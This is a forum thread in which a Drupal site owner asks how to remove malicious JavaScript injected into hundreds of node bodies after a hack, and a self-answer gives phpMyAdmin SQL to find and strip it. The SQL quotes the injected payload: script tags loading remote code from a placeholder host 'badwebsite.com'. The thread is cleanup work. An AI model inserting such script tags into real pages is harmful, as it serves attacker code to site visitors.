0

In the last week it seems that all my drupal sites were hacked. One problem I have is that a javascript was inserted at the beginning of every content body field. Attached is an image.

enter image description here

I have literally hundreds of nodes with the script maliciously added. Does anyone have a simple suggestion for how I can remove this script from all the nodes?

Note: I'm not php savvy. Just a drupal user who has built a few web sites.

Thanks

Improve this question
  • First you need to determine how that's getting there..has it been added to the content in the database, or is it being added by code on-the-fly? The answer will change how you deal with it considerably – Clive♦ May 9 '18 at 14:45
  • I'm assuming it got there through drupal core security bugs this last month: drupal.org/security. I've updated all my installations to the latest version. I've hunted down all hacked php code using the hacked module. I've clear all the cache at .cagefs/tmp. Hopefully, all that's left is to clean up this last mess. I'm not great at MySQL and I'm trying to figure out how to delete this script which has been inserted at the top of every 'body_value'. – pjg May 9 '18 at 19:34
  • I'm trying to work out how to remove the script with phpMyAdmin Any suggestions? – pjg May 9 '18 at 19:36
0

For other newbies like me, here's what I did to fix the problem. In phpMyAdmin select the drupal database.

Just to be safe, you might want to Export the database in case anything goes wrong.

Once you've backed up, select the SQL tab.

Then check that you can find the string with the 

SELECT * FROM `field_data_body` WHERE `body_value` LIKE "%<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>%";

If the command above works, then you can use

UPDATE `field_data_body` SET `body_value` = REPLACE(`body_value`,"<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>","")

to delete the string with the script.

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.